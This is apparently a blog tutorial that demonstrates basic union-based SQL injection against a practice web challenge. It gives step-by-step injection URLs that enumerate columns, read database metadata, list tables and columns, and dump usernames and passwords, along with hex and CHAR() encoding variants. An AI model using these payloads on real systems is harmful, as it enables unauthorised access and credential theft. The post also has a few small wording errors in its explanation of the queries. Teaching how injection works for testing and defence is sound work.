Today, I will be writing a simple PoC on SQL Injections. By reading this information, you agree that you are responsible for the damage you cause to personal property.
Any web application that allows user input as a derivative to perform an action can be prone to command injection. Attackers can craft unique queries that can result in database information disclosure of sensitive data.
The SQL structures are compartmentalized into Servers, Databases, Tables, Columns, and Rows. The SQL Server is the software running on the machine waiting for instructions from a terminal or commands over the internet. This SQL Server is comprised of one or many databases.These databases are used for the storage of information and are composed of tables, and these tables composed of columns and rows. Below is a simple concept that demonstrates how records are stored in a MySQL database.
Tables > Columns > Records
Tables contain columns and columns have records. For example: Members can be a table, Name can be a column, and the actual value is the record.
What is SQL Injection?
SQL Injection is a server-side web application vulnerability that occurs on the database layer of the web application that allows users to execute arbitrary code to alter, modify, or delete data. This is possible through carefully crafted SQL Statements that are inserted via $GET or $POST parameters. Essentially an attacker is aiming to match the SQL Syntax that coincides with the written application to execute their own code. SQLi comes in various different forms and techniques, usually exploiting MySQL, MsSQL, Postgre SQL, Oracle, and even Access Databases. Now that we have a very generic understanding of SQLi, the next section will discuss on how to spot this vulnerability and exploit them.
Finding SQL Injection Vulnerabilities
SQL Injection vulnerabilities can be found on any web page that uses a database to store user credentials, product information, current news pertaining to the site, credit card numbers, access logs, and more. For this demonstration I will be exploiting this flaw on a system that allows user testing. This will simulate a real world scenario on how attackers take advantage of this vulnerability. In order to understand how this attack works, we need to take a look at the URL and create pseudo code, because SQL is not visible by the client.
The back-end SQL code for this example should look similar to:
SELECT * FROM table WHERE ID=1
The above code is proper syntax for the application to behave as it should. The most important part of identifying this vulnerability is by placing an ‘ (apostrophe), at the end of the parameter a script is using to cause a syntax error to verify that the application is vulnerable to this attack. Now our URL becomes:
When the results are sent to the server, the webpage generates an error:
You have an error in your SQL Syntax; Check the manual that corresponds to your MySQL Server version for the right syntax to use near "1'" at line 1
It is very important that we analyze the error that is being displayed. The application generates an error because the SQL Code is not proper:
SELECT * FROM table WHERE ID=1
The application is looking for an ID of 1 and 1′ is not a valid entry. Now that the vulnerability has been confirmed, we need to determine how many columns are available. This is important because we need to know how many fields to use in our injection – ‘ORDER BY <number of columns>‘ will be used to determine how many columns are being used. Below is the request being sent:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 300--+-
With this request, you are asking the database if the there are 300 columns, I usually use this range because there almost never 300 fields in the database that are being used in the code, to verify that I can start guessing. –+- is being used to comment the rest of the SQL Code. The response from the server follows:
Unknown column '300' in 'order clause'
Server response tells us that the are not 300 columns, so we keep enumerating until we get a valid number
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 10--+- <-- Error
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 5--+- <-- Error
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 4--+- <-- Error
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 3--+- <-- No Error!
Now that we know that there are 3 columns, we need to find which columns are visible for injecting. We will replace our queries in place of this number in the URL. In order to do that we need to use ‘UNION SELECT <Number of Columns>‘ and also make our statement false, our request will be:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,2,3--+-
False statements can be made in several different ways such as:
If you pay close attention, you will see a random “2” appear on the site. This means that in our query, column 2 will be replaced with our query to extract information from the database. In a real life penetration test, these random numbers that appear on the site will range from the column count and can be shown anywhere on the page.
The next step is to find some useful information about the database such as the user, the database name, and most importantly the version.
- version() <– Displays Database Version
- @@version <– Displays Database Version
- user() <– Displays Current Database User
- database() <– Displays Current Database In Use
Lets extract some information:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,version(),3--+-
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,user(),3--+-
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,database(),3--+-
- Version = 5.5.42=cll
- Current User = leettime_W89sst1@localhost
- Current Database = leettime_761wHole
The version is a very important piece of information because it will tell us if this attack can be automated. Databases whose version are lower than 5 cannot use information_schema database. This is necessary when obtaining all the tables from the database, which will be our next step in this attack.
In order to retrieve all the tables from the database the following query will need to be sent to the server:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+-
Which retrieves the tables – testtable1, userlogs, and users. Let me explain the above statement. Group_concat() is a function to concatenate information, meaning, it will group all the information and separate each field with a comma. In this case we are grouping all the table which are denoted by the field or column name table_name (simple enough to remember?) in the information_schema database on the “tables” table. The last part of our query tells the database that we will be using our current database for the retrieval of these tables, which we know is database(). This explanation can be confusing, below is the simple structure of the query, as it goes from general to specific:
SELECT column(s) FROM table WHERE <condition>
SELECT column(s) FROM database.table WHERE <condition>
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT group_concat(table_name) FROM database.table WHERE table_schema=database()
Our job at this point is to select a table that may contain sensitive user information. From our list, the table “users” will satisfy that need. The next phase is to extract the columns from that table. This can be done in several forms:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+-
- http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=–1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273–+-
- http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=–1‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)–+-
A couple of things changed here, “table_name” becomes “column_names” and “information_schema.tables” becomes “information_schema.tables“. Our WHERE clause also changes to “table_name='<table_name>’“.
The first form shows that the value for “table_name” is ‘users’. This is the table in plain text and can be done in this form because single quotes are not escaped or filtered.
The second form shows that the value for “table_name” is ‘0x7573657273’ which is hexidecimal value for the word “users”.
Lastly, the final way to specify the value for “table_name” is by using CHAR(). Here each letter of the word “users” is replaced with the ASCII representation of that letter. For example, 117 is “u”, 115 is “s”, 114 is “e”, etc.
The webpage loads with the requested information and provides us with the columns for the “users” table – id, username, password, user_type, and sec_code. The columns we are interested in are “username” and “password“. Now we extract the information from those fields like so:
http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+-
The username and password are being concatenated together with 0x3a which is hex for a colon “:” and every field separated by a comma. The final response extract the username and password from the users table:
Based on the demonstrated concept above, SQL Injection can be used to disclose personal user information. This post did not describe an intricate method on how to perform this attack, as it is the most basic forms of SQL Injection. A lot of topics were excluded from this post due to the length of the material. However, it provides the public with a general understanding on how the attack can be done.
Thank you for reading!